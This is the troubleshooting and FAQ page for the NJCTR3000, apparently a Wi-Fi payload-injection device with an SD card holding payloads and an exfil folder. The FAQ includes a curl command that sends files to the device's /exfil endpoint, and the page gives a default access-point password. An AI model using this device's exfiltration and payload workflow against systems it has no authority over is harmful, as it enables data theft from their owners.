Troubleshooting and FAQ
Troubleshooting
If you’re experiencing issues with the NJCTR3000, there are a few common areas to check, as you will only have access to the device through its web front end, the contents of the SD card, and the ability to power cycle the device. Below are some steps for troubleshooting.
Device Not Starting or Unresponsive:
- Power Cycle: Try removing the power and reconnecting it to perform a hard reset.
- Watchdog Timer: The device has a built-in watchdog timer that resets the system if it becomes unresponsive for more than 20 seconds. If the device is not working as expected after a reset, power cycling can resolve temporary issues.
SD Card Issues:
- “SD Card FAIL” Message: If you see an error message related to the SD card (e.g., “SD Card FAIL”), the device was unable to read or mount the SD card.
- Solution: Remove the SD card, check for any physical damage, and ensure it’s formatted correctly (FAT format). Try reinserting it and restarting the device.
- Create Required Directories: Ensure that directories such as
/sd/PAYLOADSand/sd/exfilexist on the card, as the device may attempt to create these during initialization.
Wi-Fi Connection Problems:
- “WIFI conn FAIL” Message: If the device fails to connect to a network, you might see this message.
- Check Wi-Fi Settings: Look at the
wifi_config.txtfile on the SD card. Ensure the correct SSID and password are provided. The file should contain either Client mode or AP mode settings, with valid SSID and password values. - Fallback to AP Mode: If the device can’t connect in Client mode, it will automatically fall back to Access Point mode, which can still be accessed by connecting to the default AP SSID (e.g., “KS_NJCTR”) and using the web interface.
- If you are still experiencing WiFi issues delete the
wifi_config.txtfile and the device will recreate the file using default settings on next reboot. Use the web interface to update the config.
- Check Wi-Fi Settings: Look at the
No IP Address or Connection Issues:
- IP Address Assignment: If the IP address is not being assigned, ensure the device is in AP mode and check the
wifi_config.txtfile.- Solution: If the device is in AP mode but still doesn’t display an IP, the Wi-Fi chip may be malfunctioning. Power cycling can sometimes resolve this, or ensure no conflicting SSIDs are interfering with the connection.
Payload or Web Interface Issues:
- Payload Not Running: If the payload doesn’t run or execute, check the payload directory on the SD card (
/sd/PAYLOADS) to confirm the script is saved correctly. The filename should be valid and included in the web interface. - Webserver Issues: If you see a “Webserver FAIL” message, power cycle the device and try again. The webserver runs on port 80, so ensure no other devices on the same network are conflicting with the IP or port.
Device Display Not Updating:
- If the display shows incorrect or outdated information (e.g., SSID or IP), restart the device or reconnect to it via the web interface to refresh the data.
FAQ
Here are some frequently asked questions (FAQ) for the NJCTR3000 device, covering common issues and their solutions:
Q: How do I connect to the NJCTR3000?
A: The NJCTR3000 operates in two modes:
- AP Mode (Access Point): The device broadcasts its own Wi-Fi network. By default, the SSID is “KS_NJCTR” and the password is “prettyflyforawifi”. Connect your device to this network and access the NJCTR3000’s web interface at
http://192.168.4.1. - Client Mode: If the device is configured in Client mode, it will connect to your Wi-Fi network, and you can access it via the assigned IP address. You can check the IP address on the device’s display or through the web interface if connected.
Q: Why can’t I access the web interface of the NJCTR3000?
A: If you’re unable to access the web interface:
- Ensure your device is connected to the NJCTR3000’s Wi-Fi network or that the NJCTR3000 is properly connected to your Wi-Fi network (in Client mode).
- Verify that the IP address is correct. The default for AP Mode is
192.168.4.1. - Restart the NJCTR3000 by power cycling it to reset the webserver.
Q: How do I update the Wi-Fi settings of the NJCTR3000?
A: The Wi-Fi settings are stored on the SD card in the wifi_config.txt file. To update:
- Remove the SD card from the NJCTR3000.
- Open the
wifi_config.txtfile on your computer. - Modify the SSID and password for AP or Client mode.
- Save the file and reinsert the SD card into the NJCTR3000.
- Restart the device.
Example wifi_config.txt for AP Mode:
MODE=AP
AP_SSID=YourAccessPoint
AP_PASSWORD=YourPasswordQ: Why is the device showing “SD Card FAIL”?
A: The device couldn’t read or mount the SD card. Try the following:
- Check that the SD card is properly inserted and formatted (FAT32).
- Verify that the necessary directories (
/sd/PAYLOADSand/sd/exfil) exist on the card. - Reinsert the card and restart the device.
Q: How do I upload or exfiltrate files?
A: Files can be uploaded to the NJCTR3000 using the /exfil endpoint:
- Use the curl command from your device:
curl -F "file=@yourfile.txt" http://{WIFI_IP}/exfil- Replace
{WIFI_IP}with the device’s IP address, e.g.,http://192.168.4.1in AP mode.
Q: Why is the NJCTR3000 not executing my payload?
A: If a payload isn’t running:
- Ensure the payload is in the
/sd/PAYLOADSdirectory on the SD card. - Confirm that the script file is correctly formatted and listed in the web interface.
- Check the display for any error messages, or restart the device to retry.
Q: What should I do if the web server fails?
A: If the webserver fails to start, indicated by a “Webserver FAIL” message:
- Power cycle the device and retry.
- Ensure no conflicting devices are using the same IP address or port (default port 80).
Q: How can I reset the NJCTR3000?
A: To reset the NJCTR3000:
- Remove and reconnect the power to perform a hard reset.
- The watchdog timer also resets the device automatically after 20 seconds of unresponsiveness.
Nothing’s Worked!
Don’t sweat it! Head over to the discord group and drop a message!
The device is great but it would be cool if it did |_________________|
I love to hear your suggestions and if it’s somthing I can build into the next update I promise that I will!